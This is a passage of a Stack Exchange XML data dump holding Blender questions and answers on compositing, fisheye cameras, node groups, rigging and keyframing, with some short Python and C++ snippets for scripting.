  <row Id="24212" PostTypeId="2" ParentId="24208" CreationDate="2015-02-04T15:36:07.303" Score="3" Body="&lt;p&gt;Duplicate the object the &lt;em&gt;Grease Pencil&lt;/em&gt; layer is connected to. Rename the layer, and now add another layer and name it the same as the first object's layer. Now select the first object and then the one with two layers and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt; to join the objects. You now have one mesh with two identical layers. Now you can go into &lt;em&gt;Edit&lt;/em&gt; mode and press &lt;kbd&gt;W&lt;/kbd&gt; &lt;em&gt;&gt; Remove Doubles&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-02-04T15:36:07.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24213" PostTypeId="1" AcceptedAnswerId="24242" CreationDate="2015-02-04T16:11:50.237" Score="5" ViewCount="2444" Body="&lt;p&gt;is there any way to ''fade out'' the background?i want the front part to stay the same, but i need to fix that 'background (with the red arrow) putting a Black hole/Black color&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jmCbn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this:&#xA;(but backwards)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rJzOY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-04-14T19:14:03.513" Title="How can i fade a background/object with black border?" Tags="&lt;modeling&gt;&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24214" PostTypeId="1" AcceptedAnswerId="41818" CreationDate="2015-02-04T16:16:36.833" Score="4" ViewCount="300" Body="&lt;p&gt;Imagine you click a drag a strip on the sequencer. When the strip comes in contact with another strip I think it would be useful if the stationary strip would adjust around the influence of the strip I'm dragging. Perhaps swapping places, for instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another automatic adjustment I wonder about is when adjusting after making a knife cut and grabbing one of cross sections. Then when I drag that handle, if I move it as if to overlap the intersection, then the other strip would adjust it's length to compensate as you move it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems at some point I saw an option for it, but I can't remember the name for it. The word &quot;scrobble&quot; comes to mind, but I've found nothing about it. I have a strange memory. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11324" LastActivityDate="2015-12-13T14:09:18.183" Title="Is it possible to automatically move other strips while dragging another strip?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24215" PostTypeId="2" ParentId="17757" CreationDate="2015-02-04T17:22:01.370" Score="1" Body="&lt;p&gt;There is a simple workflow to resize an object, without the need to code any new tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going from your comments I will be resizing a bottle. First open the Properties panel with &lt;kbd&gt;N&lt;/kbd&gt;.&lt;br&gt;&#xA;In object mode simply type the new dimension for any of the three axes in to the proper &lt;em&gt;Dimensions&lt;/em&gt; field in the properties panel.&lt;br&gt;&#xA;The Next step is to copy the new scale value to the other two axes. Simply hover over the changed scale field and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;, then hover over the two unscaled axis and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt;.&lt;br&gt;&#xA;Last (if you want the object's scale set to one) apply the new scale with &lt;kbd&gt;A&lt;/kbd&gt; &gt; *Scale*, or in the 3D view header *Object &gt; Apply &gt; Scale*.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You now have a resized object with the exact same portions as the original.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lTYet.png&quot; alt=&quot;bottle to resize with properties panel open&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/C3rgA.png&quot; alt=&quot;bottle after changing a dimension for one of the axes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-02-04T17:22:01.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24217" PostTypeId="1" AcceptedAnswerId="24220" CreationDate="2015-02-04T17:34:41.383" Score="3" ViewCount="283" Body="&lt;p&gt;This toggle locates at View menu on both Dopesheet and Graph Editor. There is few information about it, and I can hardly understand the tooltip. I wonder what the &quot;Show Group Colors&quot; toggle does, or how it affects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aWFrJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-02-04T17:59:39.310" LastActivityDate="2015-02-06T11:36:03.680" Title="What does &quot;Show Group Colors&quot; do?" Tags="&lt;graph-editor&gt;&lt;dopesheet&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24218" PostTypeId="1" AcceptedAnswerId="24316" CreationDate="2015-02-04T17:34:45.480" Score="4" ViewCount="750" Body="&lt;p&gt;I have created a nodegroup but now I want to ungroup it but when I did I found that all my parameters have gone and I have to put it again,&#xA;so is there is any way I can ungroup a nodegroup while keeping the parameters?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;some more explination:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I have here is some node groups in the compositor which have some inputs connected to values which when ungrouping it stay connected but the problem is not in the connected values . the problem is in the value which is not connected to anything like this value &#xA;&lt;img src=&quot;https://i.stack.imgur.com/8y4Kf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and when I ungroup the the node group this values return to its default value that I set when I made the node group,notice the image below the red one is the sockets connected which is fine and no problem in that but the values which was 155 become 0.5 which is the default value&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8trVQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;so what I need now is to have the value that I set before ungrouping to be the same after ungrouping&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="5794" LastEditDate="2015-02-05T06:04:30.870" LastActivityDate="2015-02-06T15:00:24.353" Title="Ungroup a node group while keeping parameters?" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;node-editor&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24219" PostTypeId="1" AcceptedAnswerId="24221" CreationDate="2015-02-04T17:56:48.230" Score="5" ViewCount="7095" Body="&lt;p&gt;I am modeling a real camera with a wide angle (fisheye). My room is 4*4*2.5 meters and the camera is attached in the ceiling with {0,0,0} degrees rotations. For camera setting, I added a camera named prosilica having a sensor type 2/3&quot; (8.8mm*6.6mm). as mentioned in the image 1 and 2.&#xA;When I render the scene, i remark:&#xA;1) It does not a distortion effect! Normally, we get a distortion caused by the wide lens of camera (large filed of view)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I simulate a fisheye on blender using the same sensor size mentioned above? Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5KEgP.png&quot; alt=&quot;image1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uNXEc.png&quot; alt=&quot;image2&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2XxDi.png&quot; alt=&quot;render&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="241" LastEditDate="2015-02-04T18:19:14.097" LastActivityDate="2015-02-04T18:19:14.097" Title="Camera setting does not give the expected fisheye result" Tags="&lt;rendering&gt;&lt;camera&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24220" PostTypeId="2" ParentId="24217" CreationDate="2015-02-04T18:10:14.607" Score="3" Body="&lt;p&gt;It displays the bone names background on the left in the &lt;em&gt;Color Set&lt;/em&gt; select in the &lt;em&gt;Bone Groups&lt;/em&gt; &#xA;settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/teHkM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-04T18:10:14.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24221" PostTypeId="2" ParentId="24219" CreationDate="2015-02-04T18:13:11.783" Score="7" Body="&lt;p&gt;The blender internal renderer doesn't seem to support fisheye lenses. The Cycles rendering engine does, however. You can change to Cycles rendering in the header of the 3D view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/azcyW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Cycles selected you can change your camera type to 'Panoramic' to reveal several fish eye options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sBsh2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-02-04T18:13:11.783" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24222" PostTypeId="2" ParentId="24213" CreationDate="2015-02-04T18:58:27.017" Score="3" Body="&lt;p&gt;After reading your question again i think this is how i would do it:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Turn on &amp;quot;Transparent&amp;quot; in the render panel&lt;/li&gt;&#xA;&lt;li&gt;Go to the node editor and go to the renderlayer nodes and check &amp;quot;Use Nodes&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;Then setup the following node chain:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ale5k.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This setup changes the Alpha of the all the pixels in the render based on how far from the camera the pixel is. The fade can be adjusted using the ColourRamp node.&#xA;Bear in mind that the Z value is based on the cameras clipping distances, if you change these you may have to tweak the bottom value in the math (devide) node.&lt;/p&gt;&#xA;" OwnerUserId="9603" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-02-04T18:58:27.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24223" PostTypeId="1" CreationDate="2015-02-04T19:05:28.307" Score="6" ViewCount="1338" Body="&lt;p&gt;I have a texture UV mapped on to an object (the logo decal), but it doesn't interact with lights or shadows as it should. How can I make it behave as it would naturally?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wTlM8.jpg&quot; alt=&quot;cycles material nodes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6384" LastEditorUserId="2217" LastEditDate="2015-02-04T19:27:42.390" LastActivityDate="2015-02-04T19:27:42.390" Title="How to make a texture interact with scene lighting and shadows in cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24224" PostTypeId="2" ParentId="24213" CreationDate="2015-02-04T19:10:28.440" Score="2" Body="&lt;p&gt;That can be done easily in the &lt;em&gt;Compositor&lt;/em&gt; using only nodes. Have a look at this node group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5kUAX.png&quot; alt=&quot;Node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They will output a nice background like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yf63r.png&quot; alt=&quot;Background&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you need to do now is to add the render image over the top of it. To do that, update your nodes to look like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zBQLF.png&quot; alt=&quot;Final nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And voila! It works perfectly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IBh47.png&quot; alt=&quot;End result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will of course want to play with color values etc, but the technique is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find it works well to use a mixture of this and @ChristyJames answer.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-02-04T19:10:28.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24225" PostTypeId="2" ParentId="24223" CreationDate="2015-02-04T19:10:55.767" Score="9" Body="&lt;p&gt;You do not need the &lt;em&gt;Transparent BSDF&lt;/em&gt; node. Just plug the alpha from the image texture into the &lt;em&gt;Fac&lt;/em&gt; of the &lt;em&gt;Mix&lt;/em&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Transparent BSDF&lt;/em&gt; is a shader node, and the &lt;em&gt;Fac&lt;/em&gt; on the &lt;em&gt;Mix&lt;/em&gt; node is looking for a value 0 through 1, a black and white map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your logo will &quot;interact with light&quot;, it just will not be glossy because of the way you are mixing the glossy nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a simple node setup to mix the diffuse logo with a glossy node, yet still have the logo partially glossy.&lt;br&gt;&#xA;Use the &quot;white&quot; end of the &lt;em&gt;ColorRamp&lt;/em&gt; node to control how glossy the logo will be. White (a value of 1) will have no gloss, and black (a value of 0) will be full gloss, and you would not see the logo.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oxMay.png&quot; alt=&quot;cycles nodes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-02-04T19:22:09.990" LastActivityDate="2015-02-04T19:22:09.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24226" PostTypeId="1" AcceptedAnswerId="24258" CreationDate="2015-02-04T19:39:27.583" Score="7" ViewCount="2906" Body="&lt;p&gt;playing around with the greasepencil stuff I am wondering if there is already the possibility to: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;transform (move,scale,rotate) grease pencils along with their parent objects?&lt;/li&gt;&#xA;&lt;li&gt;hide the parent object but keep the greasepencil visible?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;E.g. create a null, paint a grease pencil tree, duplicate the null and move it around to create a forest.&#xA;Thx&lt;/p&gt;&#xA;" OwnerUserId="7923" LastEditorUserId="7923" LastEditDate="2015-02-04T21:19:37.260" LastActivityDate="2015-02-05T12:23:41.363" Title="Grease Pencil objects" Tags="&lt;grease-pencil&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24227" PostTypeId="2" ParentId="24213" CreationDate="2015-02-04T19:40:28.220" Score="4" Body="&lt;p&gt;I think that the solution for you is in this link: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Tutorials/Composite_Nodes/Setups/Blur_the_Background&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.4/Tutorials/Composite_Nodes/Setups/Blur_the_Background&lt;/a&gt;&#xA;Although I don't know why, but it doesn't work for me. I tried many combinations and ended up with this kind of method (which is experimental). I don't think that this is the proper node setup, but the result is quite fine as you can see below:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/78D7J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;em&gt;Compositing Nodes&lt;/em&gt; window and set up the nodes as shown below. Add a &lt;em&gt;Map Value&lt;/em&gt; node (Add--&gt;Vector--&gt;&lt;em&gt;Map Value&lt;/em&gt;) and experiment with its &lt;em&gt;Offset&lt;/em&gt; and &lt;em&gt;Size&lt;/em&gt; values.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vRPMh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I said, I don't think that this is a proper method of doing this, but I wanted to share it with you. It may work for you, but if not, please tell me in comment and I'll delete this answer.&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-02-04T20:29:03.007" LastActivityDate="2015-02-04T20:29:03.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24228" PostTypeId="1" AcceptedAnswerId="24291" CreationDate="2015-02-04T20:23:54.047" Score="3" ViewCount="540" Body="&lt;p&gt;I'm using a Python script to generate a star-field using data from ~9k of the brightest stars (data is taken from &lt;a href=&quot;http://paulbourke.net/miscellaneous/starfield/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;) Spheres are generated equidistant from the camera (eventually these will be filled circle billboards), and I'm hoping to adjust their magnitudes using an emission shader. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to adjust the emission strength of each individual sphere without creating 9000+ separate textures?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first run at the code was able to change the emission strength of the material, but it's changing it for all of the spheres each time. The code is below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;# Load star data from file&#xA;starData = np.loadtxt('/stars/catalog_text')&#xA;distanceMultiplier = 1000 * 5&#xA;&#xA;# Create base stare&#xA;star1 = Star(starData[0])&#xA;starMesh = star1.getMesh()&#xA;&#xA;# Duplicate mesh for every star in the data&#xA;i = 0&#xA;for star in starData:&#xA;    i += 1&#xA;&#xA;    # Set Location variables from data&#xA;    magnitude = star[2]&#xA;    x = star[3] * distanceMultiplier&#xA;    y = star[4] * distanceMultiplier&#xA;    z = star[5] * distanceMultiplier&#xA;&#xA;    # Set star magnitude from data&#xA;    # (convertMagnitude maps the magnitude value to an emission strength value in Blender) &#xA;    emission = bpy.context.active_object.active_material.node_tree.nodes.get(&quot;Emission&quot;)&#xA;emission.inputs[1].default_value = convertMagnitude(magnitude)&#xA;&#xA;    # Create a copy of our base star&#xA;    newOb = starMesh.copy()&#xA;&#xA;    # Assign unique name and location to mesh&#xA;    newOb.name = &quot;star_&quot; + str(i)&#xA;    newOb.location = (x, y, z)&#xA;&#xA;    # Link mesh to the scene&#xA;    bpy.context.scene.objects.link(newOb)&#xA;bpy.context.scene.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11396" LastActivityDate="2015-02-05T22:42:01.787" Title="Setting material node properties across a large number of objects?" Tags="&lt;python&gt;&lt;nodes&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24229" PostTypeId="2" ParentId="24172" CreationDate="2015-02-04T20:24:12.450" Score="9" Body="&lt;p&gt;You can print your cpp values to the console and execute the app with &lt;a href=&quot;https://docs.python.org/3/library/subprocess.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;python's subprocess module&lt;/a&gt;. Here is a &lt;strong&gt;simple cpp program&lt;/strong&gt; that outputs random x,y,z values:&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-cpp prettyprint-override&quot;&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;     // std::cout&#xA;#include &amp;lt;vector&amp;gt;       // std::vector&#xA;#include &amp;lt;ctime&amp;gt;        // std::time&#xA;#include &amp;lt;cstdlib&amp;gt;      // std::rand, std::srand&#xA;&#xA;int main () {&#xA;&#xA;  std::vector&amp;lt;float&amp;gt; z(10);&#xA;  float x = 0.171; &#xA;  float y = 0.324;&#xA;&#xA;  // iteration to store random numbers&#xA;  std::srand (static_cast &amp;lt;unsigned&amp;gt; (std::time(0)));&#xA;  for (std::vector&amp;lt;float&amp;gt;::iterator i = z.begin(); i != z.end(); i++){&#xA;    *i = static_cast &amp;lt;float&amp;gt; (rand()) / static_cast &amp;lt;float&amp;gt; (RAND_MAX);&#xA;  }&#xA;&#xA;  // iteration to print x y z values&#xA;  for (std::vector&amp;lt;float&amp;gt;::iterator i = z.begin(); i != z.end(); i++){&#xA;    std::cout &amp;lt;&amp;lt; (*i * x) &amp;lt;&amp;lt; &quot; &quot; &amp;lt;&amp;lt; (*i * y) &amp;lt;&amp;lt; &quot; &quot; &amp;lt;&amp;lt; *i &amp;lt;&amp;lt; &quot;\n&quot;;&#xA;  }&#xA;&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output should be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0.170636 0.32331 0.997869&#xA;0.0806884 0.152883 0.471862&#xA;0.0141332 0.0267788 0.0826505&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Get the values&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;Popen.communicate()&lt;/code&gt; to &lt;strong&gt;read the output and split the lines&lt;/strong&gt; as you like:&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;import subprocess&#xA;&#xA;# path to the app&#xA;app = '/home/user/Desktop/app'&#xA;&#xA;# communicate can read the data:&#xA;out, err = subprocess.Popen(app, stdout=subprocess.PIPE).communicate() &#xA;&#xA;#  split the string by line&#xA;out = out.splitlines()&#xA;print (out)&#xA;&#xA;# create lists&#xA;xValues, yValues, zValues = [],[],[]&#xA;&#xA;# append the values to to the lists  &#xA;for line in out:&#xA;    line = line.strip()&#xA;    columns = line.split()&#xA;    xValues.append(float(columns[0]))&#xA;    yValues.append(float(columns[1]))&#xA;    zValues.append(float(columns[2]))&#xA;&#xA;# print the values&#xA;print (zValues)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Creating keyframes&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Iterate through the &lt;em&gt;z values&lt;/em&gt;, set the &lt;strong&gt;start frame&lt;/strong&gt;, &lt;strong&gt;offset value&lt;/strong&gt; (optional)  and use &lt;code&gt;keyframe_insert&lt;/code&gt; in order to &lt;strong&gt;create keyframes&lt;/strong&gt; for the selected object(s):&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;# get selected object&#xA;obj = bpy.context.active_object&#xA;&#xA;# animation start frame&#xA;start_frame = 1&#xA;&#xA;# frame value&#xA;frame_number = start_frame&#xA;&#xA;# keyframe offset&#xA;offset = 3&#xA;&#xA;# iterate through z values and apply them&#xA;for i in zvalues:&#xA;    # set the frame&#xA;    bpy.context.scene.frame_set(frame_number)&#xA;    # set new location&#xA;    obj.location = (0,0,i)&#xA;    # insert keyframe&#xA;    obj.keyframe_insert(data_path=&quot;location&quot;, index=-1)&#xA;    # add offset value&#xA;    frame_number += offset&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Adjusting the timeline&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;To adjust the timeline use &lt;code&gt;bpy.data.actions&lt;/code&gt; to get a list of &lt;strong&gt;actions in the scene&lt;/strong&gt; and assign the last key value to &lt;code&gt;bpy.context.scene.frame_end&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# get all actions&#xA;action_list = [action.frame_range for action in bpy.data.actions]&#xA;&#xA;# sort, remove doubles and create a set&#xA;keys = (sorted(set([item for sublist in action_list for item in sublist])))&#xA;&#xA;# assign new start frame&#xA;bpy.context.scene.frame_start = start_frame&#xA;&#xA;# assign new end frame&#xA;bpy.context.scene.frame_end = keys[-1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more details see this answer: &lt;a href=&quot;https://blender.stackexchange.com/questions/27889/how-to-find-number-of-animated-frames-in-a-scene-via-python/27946#27946&quot;&gt;How to find number of animated frames in a scene via python?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Result&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ae2Db.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2015-06-07T13:34:17.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24230" PostTypeId="1" AcceptedAnswerId="24231" CreationDate="2015-02-04T20:43:09.813" Score="4" ViewCount="1851" Body="&lt;p&gt;I'm trying to rig an airplane's ailerons on blender. They are each near the tip of the wing and (usually) rotate in the opposite direction. I'm currently using the Locked Track to rig the other control surfaces, but is there a way to use only one control point to rotate both of them in the opposite direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend file: &lt;a href=&quot;http://www.pasteall.org/blend/34207&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/34207&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ailerons are the green objects. I made one, then duplicated and mirrored it to the other side (Mirror modifier wouldn't let me rotate them)&lt;/p&gt;&#xA;" OwnerUserId="3143" LastActivityDate="2015-02-05T16:31:13.073" Title="Constraint objects to rotate in opposite ways" Tags="&lt;rigging&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24231" PostTypeId="2" ParentId="24230" CreationDate="2015-02-04T20:44:47.523" Score="6" Body="&lt;p&gt;You are looking for the &lt;em&gt;Invert&lt;/em&gt; option:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GdIAr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can select this option for any single or combination of axis.&lt;/p&gt;&#xA;&lt;p&gt;Check out an animation made by @SixthOfFour using this technique &lt;a href=&quot;https://i.imgur.com/RpUlxnt.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-02-05T16:31:13.073" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24232" PostTypeId="1" CreationDate="2015-02-04T20:59:02.283" Score="2" ViewCount="451" Body="&lt;p&gt;I'm making an animation, where a character takes an object - it's working fine - but now I want to re-scale a part of the animation to make it faster (for example, I have 500 frames and need to scale down the frames 300 to 400); however, when I choose they keyframes, (not with the Dope-Sheet) Blender will only allow me to select either the animated bones, or object, that are keyframed. How can I select both so I don't have to re-do anything?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="9718" LastEditDate="2015-02-04T21:15:16.693" LastActivityDate="2015-02-04T22:17:14.403" Title="How to re-scale bone keyframes and objects at the same time?" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;dopesheet&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24233" PostTypeId="2" ParentId="24218" CreationDate="2015-02-04T21:44:44.767" Score="1" Body="&lt;p&gt;You could keep you externally available inputs by using reroute nodes (&lt;em&gt;Menu:Add/Layout/Reroute&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bESkt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drawback is that neither parameter names nor data type is propagated (parameters are labeled as 'Input')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wJzel.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nodes after ungroup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/15sJC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-04T21:44:44.767" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="24234" PostTypeId="2" ParentId="24218" CreationDate="2015-02-04T22:12:27.870" Score="0" Body="&lt;p&gt;I still feel like I'm missing something, because, when I ungroup a set of nodes, the connections are still fine; I'm using the latest release, 2.73a, so it might have been a fixed bug; however, a quick search trough the recently fixed bugs, related to ungrouping, seems to only reveleal &lt;a href=&quot;https://developer.blender.org/T21640&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Linked nodetree group looses connections when made local and ungrouped&quot;&lt;/a&gt; as relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JBAue.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2015-02-04T22:18:41.003" LastActivityDate="2015-02-04T22:18:41.003" CommentCount="5" ContentLicense="CC 